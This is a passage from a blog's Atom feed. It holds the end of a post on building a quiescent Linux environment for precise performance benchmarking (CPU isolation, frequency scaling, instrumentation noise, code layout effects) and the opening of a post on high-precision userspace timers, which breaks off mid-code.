&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;performance&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;tee&lt;span class="w"&gt; &lt;/span&gt;/sys/devices/system/cpu/cpu&lt;span class="nv"&gt;$X&lt;/span&gt;/cpufreq/scaling_governor
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Isolate one or more CPUs so you run your programs there without much interruptions from other tasks, including the kernel itself.
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Docs:&lt;/em&gt; &lt;a href="https://www.kernel.org/doc/html/v4.19/admin-guide/kernel-parameters.html"&gt;(kernel)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Kernel options:&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;isolcpus&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;CPUs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (removes the CPUs from the scheduler) &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;rcu_nocbs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;CPUs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (don’t use these to do rcu callbacks) &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;nohz_full&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;CPUs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (similar)&lt;/li&gt;
&lt;li&gt;Alternative you may user a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cgroup&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; from userspace with &lt;a href="https://manpages.ubuntu.com/manpages/bionic/man1/cset.1.html"&gt;(cset)&lt;/a&gt; but the kernel options should be much better.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Disable the GUI:
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Kernel options:&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;multi&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;systemd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; systems), &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (it did’t work for me)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Fuhrer reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.kernel.org/doc/Documentation/kernel-per-CPU-kthreads.txt"&gt;kthreads (kernel doc)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lwn.net/Articles/816298/"&gt;task-isolation mode (LWN article)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="user-spaces-services"&gt;User space’s services&lt;/h3&gt;
&lt;p&gt;Disable all the services that you can. With isolated CPUs no code should run on them but that doesn’t mean that they are really isolated.&lt;/p&gt;
&lt;p&gt;The CPUs will share the cache so a busy CPU may interfere with cache misses on an isolated one.&lt;/p&gt;
&lt;p&gt;Some docs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux_for_real_time/7/html/tuning_guide/chap-general_system_tuning"&gt;General tuning&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux_for_real_time/7/html/tuning_guide/chap-Realtime-Specific_Tuning"&gt;Realtime specific tuning&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://manpages.debian.org/buster/tuned/tuned.8.en.html"&gt;Use a preconfigured tuned setup&lt;/a&gt;, see &lt;a href="https://github.com/redhat-performance/tuned/blob/master/profiles/realtime/tuned.conf"&gt;tuned.conf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="instrumentation-guidelines"&gt;Instrumentation guidelines&lt;/h2&gt;
&lt;p&gt;No point to have a quiescent environment if the instrumentation in the experiment is inherently noisy.&lt;/p&gt;
&lt;p&gt;Some guidelines:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;static low-overhead instrumentation if possible, dynamic if you can’t recompile.&lt;/li&gt;
&lt;li&gt;prefer deterministic (like counting the elapsed time) over sampling, specially for small-fast function targets; sometimes sampling is the only way however.&lt;/li&gt;
&lt;li&gt;use a &lt;a href="/articles/2021/02/27/High-Precision-Timers.html"&gt;high precision clock&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;perhaps a &lt;a href="https://github.com/plasma-umass/coz"&gt;causal profiler (coz)&lt;/a&gt;. See &lt;a href="https://easyperf.net/blog/2020/02/26/coz-vs-sampling-profilers"&gt;post&lt;/a&gt; and &lt;a href="https://www.youtube.com/watch?v=r-TLSBdHe1A"&gt;video&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;About the binary under test:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;code alignment can be mostly controlled by the compiler, but it may add delays due the increasing of the binary. See &lt;a href="https://easyperf.net/blog/2018/01/25/Code_alignment_options_in_llvm"&gt;post&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;if you cannot control it, randomize it: you will add noise but it will be random noise and not &lt;em&gt;biased noise&lt;/em&gt; that is much worst. &lt;a href="https://github.com/ccurtsinger/stabilizer"&gt;Stabilizer (may be)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-experiment-setup"&gt;The experiment setup&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;automate the setup of the machine as much as possible&lt;/li&gt;
&lt;li&gt;automate the experiment execution so it can be reproduced again in the future.&lt;/li&gt;
&lt;li&gt;run several executions and track the minimum value (if applies); if possible, try to run several different benchmark programs that use your target function.&lt;/li&gt;
&lt;li&gt;use different test suites and benchmarks (&lt;a href="https://github.com/google/benchmark"&gt;google’s&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;use thread’s CPU affinity to assign the threads to each (isolated) CPU
&lt;ul&gt;
&lt;li&gt;use &lt;a href="https://man7.org/linux/man-pages/man1/taskset.1.html"&gt;taskset&lt;/a&gt; or&lt;/li&gt;
&lt;li&gt;use &lt;a href="https://man7.org/linux/man-pages/man2/sched_setaffinity.2.html"&gt;sched_setaffinity&lt;/a&gt; or &lt;a href="https://man7.org/linux/man-pages/man3/pthread_setaffinity_np.3.html"&gt;pthread_setaffinity_np&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sources-of-noise-in-the-environment"&gt;Sources of noise in the environment&lt;/h2&gt;
&lt;p&gt;There are a lot.&lt;/p&gt;
&lt;p&gt;Other processes running, the OS scheduler making your program to &lt;em&gt;yield&lt;/em&gt; the CPU, the OS interrupting to process a more urgent task (like interruptions) and more.&lt;/p&gt;
&lt;p&gt;Graphical interfaces, network traffic and disk usage add to the mix.&lt;/p&gt;
&lt;p&gt;&lt;figure class='fullwidth'&gt;&lt;object style="width: 100%;" class='fullwidth' align='middle' data='/img/perf/timing/all-services-up-and-down.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;figcaption&gt;
The elapsed time of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; executed 1000 times and sorted from the smallest value to the largest. The last 10 values were drop (not shown); numbers are in nanoseconds. On the left the experiment was done in a machine without any modification; on the right all the services were turned off, the CPU were isolated and the IRQ where disabled. Note not only how smaller values are obtained in the right environment (less noisy) but also the dispersion of the numbers is smaller: on the left the time goes from 0.765 to 0.8 ns (range of 0.035 ns) while on the right the time goes from 0.7635 to 0.7665 ns (range of 0.003 ns). One order of magnitude.
&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;But software is not the only source of noise.&lt;/p&gt;
&lt;p&gt;The CPU may decide to &lt;em&gt;slowdown&lt;/em&gt; to conserve energy/reduce the power consumption. This is called &lt;a href="https://en.wikipedia.org/wiki/Dynamic_frequency_scaling"&gt;Dynamic Voltage &amp;amp; Frequency Scaling (DVFS)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;On the other hand, the CPU may &lt;em&gt;speedup&lt;/em&gt; and run faster if it see that other CPUs are idle (basically the energy/power not used by the idle CPUs is used by the busy CPU increasing the frequency). This is called &lt;a href="https://en.wikipedia.org/wiki/Overclocking"&gt;Dynamic Overclocking&lt;/a&gt; or in Intel parlance, &lt;a href="https://en.wikipedia.org/wiki/Intel_Turbo_Boost"&gt;Turbo Boost&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="multitenancy-illusion-of-power"&gt;Multitenancy: illusion of power&lt;/h2&gt;
&lt;p&gt;Is you hardware fully dedicated to you and your programs?&lt;/p&gt;
&lt;p&gt;In these days you need to take into account the virtualization: how your OS interacts with the hypervisor (if you are running in a VM like in AWS) and how many other VMs are running in the same &lt;em&gt;bare metal&lt;/em&gt;, competing for it.&lt;/p&gt;
&lt;p&gt;And VMs are not the only ones that add overheads. If you are in container like if you are using docker, you have the same issue.&lt;/p&gt;
&lt;p&gt;This is called &lt;a href="https://en.wikipedia.org/wiki/Multitenancy"&gt;multitenancy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A similar illusion of power can come from the hardware. Intel’s &lt;a href="https://en.wikipedia.org/wiki/Hyper-threading"&gt;Hyperthreading&lt;/a&gt; technology allows a CPU (a core) to run two threads concurrently.&lt;/p&gt;
&lt;p&gt;While having each thread it own set of registers in the CPU, the hardware is &lt;em&gt;not&lt;/em&gt; duplicated (you &lt;em&gt;don’t&lt;/em&gt; have two cores).&lt;/p&gt;
&lt;p&gt;Instead, hardware units like the ALU is shared among the hyper threads. While the OS may show a CPU with 2 hyperthreads as 2 different cores, the performance is only 15%-30% compared to a non-hyperthreaded CPU.&lt;/p&gt;
&lt;p&gt;This is another form of multitenancy, a hardware-based multitenancy if you want.&lt;/p&gt;
&lt;h2 id="noise-of-the-measurement"&gt;Noise of the measurement&lt;/h2&gt;
&lt;p&gt;If you use a dynamic instrumentation like &lt;a href="https://valgrind.org/"&gt;Valgrind&lt;/a&gt;, the code will &lt;a href="https://valgrind.org/info/about.html"&gt;slowdown&lt;/a&gt; by a factor in range from 5 to 100.&lt;/p&gt;
&lt;p&gt;A static instrumentation is faster but requires recompilation: you may need to add code by hand or let the compiler to do it.&lt;/p&gt;
&lt;p&gt;And it is not trivial. Consider the following code:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;experiment&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;tear_down&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Elapsed %lu&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;’If &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;em&gt;inlined&lt;/em&gt;, the compiler / CPU may decide to execute some instructions from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;before&lt;/em&gt; taking the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; mark (or &lt;em&gt;after&lt;/em&gt; the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; mark).&lt;/p&gt;
&lt;p&gt;Even if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not inline, code &lt;em&gt;before&lt;/em&gt; the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; may be executed &lt;em&gt;after&lt;/em&gt; it (and the same for the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; mark).&lt;/p&gt;
&lt;p&gt;&lt;label for='Ckkgd3JvdGUgYSBmZXcgcG9zdHMgYWJvdXQgdGhpczogYSBsb2NrIGZyZWUgcXVldWUgW3BhcnQKMV0oL2FydGljbGVzLzIwMjAvMDMvMjIvTG9jay1GcmVlLVF1ZXVlLVBhcnQtSS5odG1sKSwKW3BhcnQKMl0oL2FydGljbGVzLzIwMjAvMDQvMjgvTG9jay1GcmVlLVF1ZXVlLVBhcnQtSUkuaHRtbCkuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='Ckkgd3JvdGUgYSBmZXcgcG9zdHMgYWJvdXQgdGhpczogYSBsb2NrIGZyZWUgcXVldWUgW3BhcnQKMV0oL2FydGljbGVzLzIwMjAvMDMvMjIvTG9jay1GcmVlLVF1ZXVlLVBhcnQtSS5odG1sKSwKW3BhcnQKMl0oL2FydGljbGVzLzIwMjAvMDQvMjgvTG9jay1GcmVlLVF1ZXVlLVBhcnQtSUkuaHRtbCkuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
I wrote a few posts about this: a lock free queue &lt;a href="/articles/2020/03/22/Lock-Free-Queue-Part-I.html"&gt;part 1&lt;/a&gt;, &lt;a href="/articles/2020/04/28/Lock-Free-Queue-Part-II.html"&gt;part 2&lt;/a&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Welcome to the &lt;em&gt;out of order execution&lt;/em&gt; world.&lt;/p&gt;
&lt;p&gt;You could use barriers but these are &lt;strong&gt;not&lt;/strong&gt; cheap.&lt;/p&gt;
&lt;h2 id="precision-of-the-measurement"&gt;Precision of the measurement&lt;/h2&gt;
&lt;p&gt;Getting the time is not cost-free. Even the most &lt;a href="/articles/2021/02/27/High-Precision-Timers.html"&gt;precise clocks&lt;/a&gt; like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;clock_gettime&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; adds some delay.&lt;/p&gt;
&lt;p&gt;If instrumenting the binary (statically or dynamically) is too invasive, sampling is another option like &lt;a href="https://perf.wiki.kernel.org/index.php/Main_Page"&gt;linux’s perf&lt;/a&gt; (see &lt;a href="http://www.brendangregg.com/perf.html"&gt;more&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You just ask what function is a program running a few times per second and count how many times a particular function was seen.&lt;/p&gt;
&lt;p&gt;More times a function was seen, more &lt;em&gt;expensive&lt;/em&gt; should be because it was found more times in the CPU.&lt;/p&gt;
&lt;p&gt;But it is tricky. What if the function is &lt;em&gt;called&lt;/em&gt; a lot of times? That would increase the probability of find it in the CPU too and it is not necessary related with its performance.&lt;/p&gt;
&lt;p&gt;And if you want to see the performance of a very small-quick function, how many times do you need to sample the CPU until find the function there? Unlikely, short events are mostly invisible for sampling tools.&lt;/p&gt;
&lt;p&gt;This is the trade-off between &lt;em&gt;deterministic&lt;/em&gt; and &lt;em&gt;sampling&lt;/em&gt; profilers.&lt;/p&gt;
&lt;h2 id="unknown-variables"&gt;Unknown variables&lt;/h2&gt;
&lt;p&gt;This is perhaps the most subtle topic.&lt;/p&gt;
&lt;p&gt;You have the first version of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, let’s name it &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo_1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. By some mean you measure its performance in the most precise way and you obtained &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;X&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;How do you know that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;X&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is real and not the product from an &lt;em&gt;unknown&lt;/em&gt; source of noise?&lt;/p&gt;
&lt;p&gt;You don’t and you can probably assume that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;X&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;strong&gt;is&lt;/strong&gt;, in some part, contributed by unknown sources of noise.&lt;/p&gt;
&lt;p&gt;Assuming &lt;em&gt;additive&lt;/em&gt; noise you can approximate the real value &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;X&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; measuring &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo_1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; several times and getting the minimum.&lt;/p&gt;
&lt;p&gt;Now that you “know” the performance of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo_1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; you want to improve it.&lt;/p&gt;
&lt;p&gt;You have &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo_2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, you measure it several times, get the minimum and obtain the approximated value of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Y&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you find &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;X&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Y&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; you may get happy: you improved &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;strong&gt;didn’t you?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The fact that the improvement may &lt;strong&gt;not&lt;/strong&gt; due your modification to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but due the fact you did &lt;strong&gt;any&lt;/strong&gt; modification.&lt;/p&gt;
&lt;p&gt;Changing the code changes how the code is loaded in the memory.&lt;/p&gt;
&lt;p&gt;A simple refactor moving two functions closer in the same file may result in a better performance.&lt;/p&gt;
&lt;p&gt;Consider the following two versions of the same &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// version A            // version B&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// code...              // code...&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;zaz&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// code...              // code...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zaz&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// code...              // code...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Version B may be &lt;em&gt;faster&lt;/em&gt; than A just because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was moved closer to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the code of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; gets into the cache at the moment that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; does the call.&lt;/p&gt;
&lt;p&gt;Code layout, &lt;a href="https://easyperf.net/blog/2018/01/18/Code_alignment_issues"&gt;code alignment&lt;/a&gt;, data alignment, and who knows what else may change.&lt;/p&gt;
&lt;p&gt;And trust me, &lt;a href="https://users.cs.northwestern.edu/~robby/courses/322-2013-spring/mytkowicz-wrong-data.pdf"&gt;Producing Wrong Data Without Doing Anything Obviously Wrong!&lt;/a&gt; is very common and almost unavoidable.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/03/07/Quiescent-Environment.html" rel="alternate" type="text/html" title="Quiescent Environment"/>
    <category term="quiescent" label="quiescent"/>
    <category term="performance" label="performance"/>
    <published>2021-03-07T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/02/27/High-Precision-Timers.html</id>
    <title>High Precision Timers (userspace)</title>
    <updated>2021-02-27T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;You want to measure the time that it takes &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to run so you do the following:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;experiment&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

